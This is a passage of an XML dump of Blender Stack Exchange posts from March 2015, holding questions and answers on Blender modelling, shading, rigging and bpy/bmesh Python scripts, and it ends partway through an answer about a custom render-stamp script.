  <row Id="27627" PostTypeId="1" CreationDate="2015-03-25T01:12:24.427" Score="1" ViewCount="357" Body="&lt;p&gt;I have a billboard tree in Blender made up of a single triangle. I applied an Array and Curve modifier to it to instance itself on the curve. I collapsed the trees and separated them by loose parts. Now I have hundreds of trees whose local origins are aligned to the global axis, which is not what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Unity, I have a billboarding script that automatically aligns the trees to the face the camera. However, this script does not work if the tree's origins (or pivot points as they're called in Unity), are not aligned to the normal of the tree's front face (or back face, it doesn't really matter because I can just negate the script's LookAt function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if there's a script available for this or would be willing to write a script that can move all the origins of selected objects to each of the objects' individual face normals?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the mean time, I'm going to look into Python and see if I can figure something out, but I don't have a lot of time and have an intermediate level C# background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 01 - Added image of what I'm looking for. The yellow arrow shows the re-alignment I'm seeking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5w1zc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 02 - I cannot reply due to the 50+ comment restriction. @X-27, I followed your instructions, but was met with the following strange tilt after parenting and enabling Face Duplication (not to mention the duplicates stabbing the parents): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WmeDy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to mitigate the tilting is to re-orientate the child tree into some weird angle in order to get the duplicated trees to be standing up, but their rotations are still messed up. Judging by your screenshots, you also have the same problem with the duplicated blue trees being angled in an awkward manner. This is not what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless, I appreciate your suggestion, but I no longer need this solution and do not have time to learn Python and the Blender API to make a script myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@yhoyo, I think you may have misunderstood my question. I already know of the Properties Shelf rotation and the script you posted simply zeroes out the Z rotation, which is not what I needed.&lt;/p&gt;&#xA;" OwnerUserId="13370" LastEditorUserId="13421" LastEditDate="2015-03-27T01:15:58.820" LastActivityDate="2015-03-27T01:15:58.820" Title="Aligning a single triangle object's local origin (y axis) to the triangle's normal (non-backface side)" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27628" PostTypeId="1" CreationDate="2015-03-25T01:31:30.520" Score="2" ViewCount="4814" Body="&lt;p&gt;I'm trying to make some custom bone shapes for my armature control bones. I've made the custom shapes in the location I want. However, whenever I set the 'Display -&gt; Custom Shape' property to the object I made, it appears in a crazy orientation and scale relative to the bone's position (not in the position of the 'real' mesh, as I'd expect).&lt;br&gt;&#xA;I've applied the rotation and scale to the original mesh I want to use as the shape (using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;) but am unable to get it to work in place like I'd expect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read that the bone size and orientation are applied to the mesh shape key (I'm assuming the size and rotation relative to the parent?). That seems like it's terrible, is there some way to turn it off or position the original mesh so it lines up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a plugin ( &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Rigging/Auto_custom_shape&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Rigging/Auto_custom_shape&lt;/a&gt; ) that seems to do what I want - but it doesn't seem to work with the newer version of blender I'm using (2.73).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to just randomly flip and scale my original mesh around in the scene until it looks right - that seems like it's just going to be confusing down the road if I need to change the shape (as it will be in an arbitrary orientation in the scene someplace). There has to be a way to set this up nicely - I can see that rigify puts it's WGT-* bone shape meshes in the world in a way that lines them up with the bones they're applied to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have a good solution for this?&lt;/p&gt;&#xA;" OwnerUserId="13371" LastEditorUserId="2217" LastEditDate="2015-03-25T01:42:19.450" LastActivityDate="2016-09-06T16:28:41.777" Title="How to position/scale custom bone shapes in same position as original mesh?" Tags="&lt;objects&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27629" PostTypeId="1" AcceptedAnswerId="27637" CreationDate="2015-03-25T01:37:46.627" Score="1" ViewCount="1118" Body="&lt;p&gt;I am trying to write a script that will take a selected edge loop with a point at one end set as the active vertex, and make a separate vertex group for each vertex on the loop, numbered in order. From what I can tell, there is no tool in the API to work on edge loops in this way. I could load each vertex into an array and make a vertex group from them, but they would not necessarily be in the right order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can do it based on location in relation to something, but this may not work on loops that are not straight. I could also use vertex index, but this won't work if the indices are not in order. Before I go ahead with using one of these flawed methods, I want to be sure that there's no way to get the order of points down a loop. Can anyone confirm, or suggest another method of handling this problem?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-03-25T06:05:21.447" Title="Select points down a loop with a script" Tags="&lt;python&gt;&lt;scripting&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27630" PostTypeId="1" AcceptedAnswerId="27656" CreationDate="2015-03-25T02:01:36.543" Score="3" ViewCount="5117" Body="&lt;p&gt;What are good practices for picking good keyframes when motion tracking? How are these frames used? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is an &quot;ideal&quot; keyframe?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2018-03-01T20:58:53.953" Title="How to pick good keyframes for motion tracking?" Tags="&lt;camera&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27631" PostTypeId="1" AcceptedAnswerId="27632" CreationDate="2015-03-25T02:31:11.567" Score="7" ViewCount="3901" Body="&lt;p&gt;I want to do something like this with a python script and selecting the vertex in the middle:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ky6Jt.png&quot; alt=&quot;I want this&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried with many ideas as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;&#xA;&#xA;obj = bpy.context.object&#xA;me = obj.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;&#xA;verts = [v for v in bm.verts if (v.select==True and not v.hide)]&#xA;&#xA;for v in verts:&#xA;    for f in v.link_faces:&#xA;&#xA;        if (f.index%2) != 0 :&#xA;            f.select = True&#xA;            obj.active_material_index = 3&#xA;            bpy.ops.object.material_slot_assign()&#xA;            f.select = False&#xA;        else:&#xA;            f.select = True&#xA;            obj.active_material_index = 4&#xA;            bpy.ops.object.material_slot_assign()&#xA;            f.select = False&#xA;&#xA;&#xA;&#xA;&#xA;bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this don't have good results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JWSl5.png&quot; alt=&quot;wrong result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm tried with face.index, bool and other without good result.&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="3710" LastEditDate="2015-03-25T20:27:48.587" LastActivityDate="2015-03-26T01:28:01.977" Title="Assigning material to every second face via python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;&lt;materials&gt;&lt;bmesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27632" PostTypeId="2" ParentId="27631" CreationDate="2015-03-25T03:28:06.060" Score="10" Body="&lt;p&gt;I almost always look for hacks when doing simple tests like these &lt;em&gt;(half of the time the function you spend hours on, Blender has the functionality tucked away in some menu)&lt;/em&gt; &lt;strong&gt;&lt;em&gt;so&lt;/em&gt;&lt;/strong&gt; if your use case is similar meshes I would probably use &lt;code&gt;bpy.ops.mesh.select_nth(offset=1)&lt;/code&gt; to get the selections in a checkered pattern.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# get the object&#xA;ob = bpy.context.active_object&#xA;&#xA;# get the mesh&#xA;mesh = ob.data&#xA;&#xA;# create a list with all faces&#xA;face_list = [face for face in mesh.polygons]&#xA;&#xA;# select all faces for offset operator&#xA;for face in face_list:&#xA;    face.select = True&#xA;&#xA;# toggle to edit mode&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;&#xA;# make sure face select mode is enabled&#xA;bpy.context.tool_settings.mesh_select_mode = [False, False, True]&#xA;&#xA;# select every second face&#xA;bpy.ops.mesh.select_nth(offset=1)&#xA;&#xA;# use second material slot&#xA;ob.active_material_index = 1&#xA;&#xA;# assign the material&#xA;bpy.ops.object.material_slot_assign()&#xA;&#xA;# toggle to object mode&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the inner vertex, select the outer edges in edge select and then switch to vertex select and invert the selection. It's far from elegant but should work for the example you are using&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-03-26T01:28:01.977" LastActivityDate="2015-03-26T01:28:01.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27633" PostTypeId="1" AcceptedAnswerId="27635" CreationDate="2015-03-25T03:50:34.547" Score="11" ViewCount="26406" Body="&lt;p&gt;I must be missing something here.  I'm doing an extremely simple Import Image as Plane using the AddOn and the imported image has an alpha background but it renders (and even previews in the material preview) as black where the alpha background should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I import, I select Emission &amp;amp; Transparent so the material setup is automatic.  I've read similar issues but people are typically missing the transparent node and connecting the Alpha channel from the image into the Mix Node factor.  But this is all here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must be missing something really stupid but I've wasted so much time trying to fix this thing.  Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if it matters but I'm using 2.74 RC2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created this dummy blend file to test outside my project but problem still exists.  Here is the simple .blend file: &lt;a href=&quot;http://1drv.ms/1y41yrD&quot; rel=&quot;noreferrer&quot;&gt;AlphaTest&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7826" LastEditorDisplayName="user1853" LastEditDate="2015-04-02T18:29:32.513" LastActivityDate="2020-06-06T12:06:48.650" Title="Image Alpha Background Renders Black when using &quot;Import Images as Planes&quot;" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;image&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="27634" PostTypeId="1" CreationDate="2015-03-25T04:11:11.477" Score="5" ViewCount="5357" Body="&lt;p&gt;I'm trying to bake a normal map to a low-poly model with a multires modifier on it (no sculpting, just 3 subdivisions). It seems to work at first, but the final render has obvious seams in the lighting corresponding to the model's UV seams (for example: along the back of the left ear as shown in the picture, and between the fingers). Plus, the shading just looks like hot garbage in general; not at all smooth like I would expect. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c2YBF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the blend file: &lt;a href=&quot;https://www.dropbox.com/s/ijba9uxtwuaq3dt/normalMapFailure.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/ijba9uxtwuaq3dt/normalMapFailure.blend?dl=0&lt;/a&gt;&#xA;To reproduce my images, just Bake the normals again, then render the model. The image, texture, and multires should be set up already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gotten the same results in Blender 2.66 and 2.73.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: I get much better results if I make a copy of the object and Bake &quot;selected to active&quot; instead of &quot;from Multires&quot;, so I think the major problem is not related to the UVs.&lt;/p&gt;&#xA;" OwnerUserId="5276" LastEditorUserId="5276" LastEditDate="2015-03-27T17:53:12.253" LastActivityDate="2015-03-27T17:53:12.253" Title="Normal map baked from multires looks bad (seams and general wrongness)" Tags="&lt;texture-baking&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27635" PostTypeId="2" ParentId="27633" CreationDate="2015-03-25T05:13:09.143" Score="16" Body="&lt;p&gt;The reason you see black in the background of your image is because your image is not using the alpha channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;N&lt;/kbd&gt; to open the panel on the image/UV editor and enable the &lt;strong&gt;Use Alpha&lt;/strong&gt; option for the image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QU0k3.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QU0k3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other things could that could be happening:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.-&lt;strong&gt;The Alpha channel was not enabled during the import process&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the images as planes addon to import images that have an alpha channel you have to enable the &lt;strong&gt;Use Alpha&lt;/strong&gt; option, and then choose the shader you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the window to load a file opens, you can click on the gear icon on the top right to display the options for the new plane (or you can press the &lt;kbd&gt;N&lt;/kbd&gt; shortcut)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/annPc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/annPc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 2.8 check the box for &lt;strong&gt;Use Alpha&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PLPeo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PLPeo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dP0Uc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dP0Uc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For older versions of blender the options are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RbGAK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In newer versions of blender the Use Alpha box might not be there but you can still select to have transparency as you import the image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/F4vf4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F4vf4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.-&lt;strong&gt;Your Image has no alpha channel&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open your file in an image editing software (gimp, photoshop, etc), delete the black background to make it transparent and save it again in a format that supports an alpha channel (JPG files do not support alpha, PNG, TIFF, OpenEXR do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lyJmD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can you tell if your image has an alpha channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the bottom of the UV/Image editor's window you can select which channels to display:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rAoxU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rAoxU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switching from RGBA to Alpha will allow you to see the alpha channel only&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ArSY4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The white areas on the alpha will be opaque, the black areas will become transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for comparison here's what the same image with no alpha channel looks like (As you can see it does not contain the outline of the leaf, just solid white):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cUiXm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AS AN ALTERNATIVE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to edit your image, you can use the black information to control the transparency using a node setup like this where the parts of the image that are darker than 0.1 will be used as the mix factor for transparency. (Note that I inverted the order for the mix shader sockets)&#xA;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y2TlG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;&#xA;Alpha transparency for the texture will only be displayed in rendered and material view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y2TlG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ESNKR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="97988" LastEditorDisplayName="user1853" LastEditDate="2020-06-06T12:06:48.650" LastActivityDate="2020-06-06T12:06:48.650" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="27636" PostTypeId="2" ParentId="2342" CreationDate="2015-03-25T05:30:22.227" Score="3" Body="&lt;p&gt;I know this is old, but if you came accross this like me you can try convert them to .kmz then change the file extension to .zip and extract the files and see the .dae and textures.&lt;/p&gt;&#xA;" OwnerUserId="12760" LastActivityDate="2015-03-25T05:30:22.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27637" PostTypeId="2" ParentId="27629" CreationDate="2015-03-25T06:05:21.447" Score="3" Body="&lt;p&gt;You will have to use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bmesh.html&quot; rel=&quot;nofollow&quot;&gt;bmesh&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bmesh object provides a much more advanced way of interrogating a mesh than as merely a set of vert/edge/face sequences.  Given only raw vert/edge/face data, consisting of indices and lists of indices, you could of course build your own model of the inter-relations between elements of the mesh, making several passes over the mesh, noting various states such as selection, deducing which vertex is 'neighbor' to which others, and so forth.  Thank Joe, you don't have to do all that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do is &lt;code&gt;bm = bmesh.from_edit_mesh(mesh)&lt;/code&gt;, and that &lt;code&gt;bm&lt;/code&gt; will have topological-relationship information already figured out.  For examples of what I mean by topological-relationship information:  You are able to ask a vertex for it's &lt;code&gt;link_edges&lt;/code&gt;, and subsequently ask one of those edges for it's &lt;code&gt;other_vert(vert)&lt;/code&gt; given the one you already have, to find the other, and then if it's selected, that is your next group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is even a selection history for you: &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bmesh.types.html#bmesh.types.BMesh.select_history&quot; rel=&quot;nofollow&quot;&gt;BMesh.select_history&lt;/a&gt;, such that &lt;code&gt;bm.select_history.active&lt;/code&gt; will be your group zero vertex. (If you are in vertex mode.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I can't write your script for you – only you know the particulars – I'd hate to leave you hanging without some code example, so here's a template I had from a while ago, from when I was testing some things in bmesh.  It's just a bunch of boilerplate, but it puts you at a convenient place to test bmesh things:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;&#xA;class BMOPEX_OT_bmop(bpy.types.Operator):&#xA;&#xA;    bl_idname = &quot;bmopex.bmop&quot;&#xA;    bl_label = &quot;Bmopex:Bmop&quot;&#xA;&#xA;    def execute(self,context):&#xA;        ob = context.active_object&#xA;        mesh = ob.data&#xA;        bm = bmesh.from_edit_mesh(mesh)&#xA;        print(&quot;self,context,ob,mesh,bm:&quot;,self,context,ob,mesh,bm)&#xA;        return {&quot;FINISHED&quot;}&#xA;&#xA;    @classmethod&#xA;    def poll(self,context):&#xA;        return context.active_object and \&#xA;        context.active_object.type == 'MESH' and \&#xA;        context.active_object.mode == 'EDIT' and \&#xA;        context.scene.tool_settings.mesh_select_mode[0]&#xA;        #                                vertex mode ^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="119" LastActivityDate="2015-03-25T06:05:21.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27639" PostTypeId="1" AcceptedAnswerId="27642" CreationDate="2015-03-25T09:04:34.003" Score="11" ViewCount="3942" Body="&lt;p&gt;I want to mix 2 shaders in a way, that part of a mesh that is more far away from camera are using one of my shaders, and part of the mesh that is closer to my shaders is using another shader, with soft transition between them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="12973" LastActivityDate="2016-05-22T00:48:05.033" Title="How to mix 2 shaders depending on distance from camera" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="27640" PostTypeId="2" ParentId="27579" CreationDate="2015-03-25T09:55:30.693" Score="8" Body="&lt;p&gt;You have to call &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.types.Scene.html#bpy.types.Scene.frame_set&quot; rel=&quot;nofollow&quot;&gt;Scene.frame_set()&lt;/a&gt; instead of setting the property &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.types.Scene.html#bpy.types.Scene.frame_current&quot; rel=&quot;nofollow&quot;&gt;Scene.frame_current&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.frame_set(234)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only &lt;code&gt;frame_set()&lt;/code&gt; updates animation data correctly. &lt;code&gt;frame_current&lt;/code&gt; is mostly intended for reading access to determine the current frame.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Following example renders frame &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;230&lt;/code&gt;, &lt;code&gt;99&lt;/code&gt; and writes them to the disk as &lt;code&gt;test_000.png&lt;/code&gt;, &lt;code&gt;test_099.png&lt;/code&gt; and &lt;code&gt;test_230.png&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;# format integer with leading zeros&#xA;def formatNumbers(number, length):&#xA;    return '_%0*d' % (length, number)&#xA;&#xA;# get the scene&#xA;scn = bpy.context.scene&#xA;&#xA;# get the output path&#xA;output_path = scn.render.filepath&#xA;&#xA;# set filename&#xA;filename = &quot;test&quot;&#xA;&#xA;# set render frames&#xA;render_frames = [0, 230, 99]&#xA;&#xA;# iterate through render frames&#xA;for f in render_frames:&#xA;    # set the frame&#xA;    scn.frame_set(f)&#xA;    # set filepath&#xA;    scn.render.filepath = os.path.join(&#xA;            output_path,&#xA;            filename + formatNumbers(f, 3) + &quot;.jpg&quot;,&#xA;            )&#xA;    # render opengl&#xA;    bpy.ops.render.opengl(write_still=True)&#xA;&#xA;# reset internal filepath&#xA;bpy.context.scene.render.filepath = output_path&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;.jpg&lt;/code&gt; is only a placeholder and will be overwritten by the settings in the render panel. &lt;/p&gt;&#xA;" OwnerUserId="5741" LastEditorUserId="3710" LastEditDate="2016-03-02T11:34:52.380" LastActivityDate="2016-03-02T11:34:52.380" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27642" PostTypeId="2" ParentId="27639" CreationDate="2015-03-25T10:33:09.633" Score="21" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o0JEf.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up the nodes as pictured below. Add &lt;strong&gt;&lt;em&gt;Camera Data&lt;/em&gt;&lt;/strong&gt; node (&lt;em&gt;Add&lt;/em&gt; [&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;]--&gt;&lt;em&gt;Input&lt;/em&gt;--&gt;&lt;em&gt;Camera Data&lt;/em&gt;), then &lt;strong&gt;&lt;em&gt;Math Node&lt;/em&gt;&lt;/strong&gt; (&lt;em&gt;Add&lt;/em&gt;--&gt;&lt;em&gt;Converter&lt;/em&gt;--&gt;&lt;em&gt;Math&lt;/em&gt;). Optionaly you may add the &lt;strong&gt;&lt;em&gt;Color Ramp&lt;/em&gt;&lt;/strong&gt; node (&lt;em&gt;Add&lt;/em&gt;--&gt;&lt;em&gt;Converter&lt;/em&gt;--&gt;&lt;em&gt;Color Ramp&lt;/em&gt;).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9oVP3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the &lt;strong&gt;&lt;em&gt;Math Node&lt;/em&gt;&lt;/strong&gt; set to &lt;em&gt;Substract&lt;/em&gt; try to experiment with its value (the closer to the object camera is the lower value should be).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JmWTv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AxKEe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;strong&gt;&lt;em&gt;Color Ramp&lt;/em&gt;&lt;/strong&gt; node to make the transition between colours/ textures soft or sharp.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SR8Ac.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;img src=&quot;https://i.stack.imgur.com/glBDv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;For smoother transitions you can use other math nodes in combination. For instance put a logarithm node between the Camera Data Node and Subtract node. Change the color ramp to Cardinal and also change the direction of the ramp. Set the bottom value of the Logarithm to 15.0 and the bottom value of the Subtract to .250. Subtract becomes an offset of sorts.&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="-1" LastEditDate="2016-05-22T00:48:05.033" LastActivityDate="2016-05-22T00:48:05.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27643" PostTypeId="2" ParentId="26646" CreationDate="2015-03-25T12:06:38.203" Score="9" Body="&lt;h2&gt;Custom Render Stamp&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7hegd.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7hegd.jpg&quot; alt=&quot;stamp&quot; /&gt;&lt;/a&gt;&#xA;(Click the image for larger version)&lt;/p&gt;&#xA;&lt;p&gt;Based on &lt;a href=&quot;https://blender.stackexchange.com/a/26644&quot;&gt;this answer&lt;/a&gt; by Campbell Barton, I made a small very crappy script to put the render stamp outside the rendered frame by using the render border.&lt;/p&gt;&#xA;&lt;p&gt;It sure could be improved by a million percent, but for my petty purposes it's good enough.&#xA;(Although, all improvement suggestions are of course full-heartedly welcomed!)&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;&lt;strong&gt;Installation&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download the Script and open it in the text editor&lt;/li&gt;&#xA;&lt;li&gt;Adjust the settings to your liking&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;em&gt;Run Script&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enable the &lt;em&gt;Register&lt;/em&gt; option in the text editor (so it runs 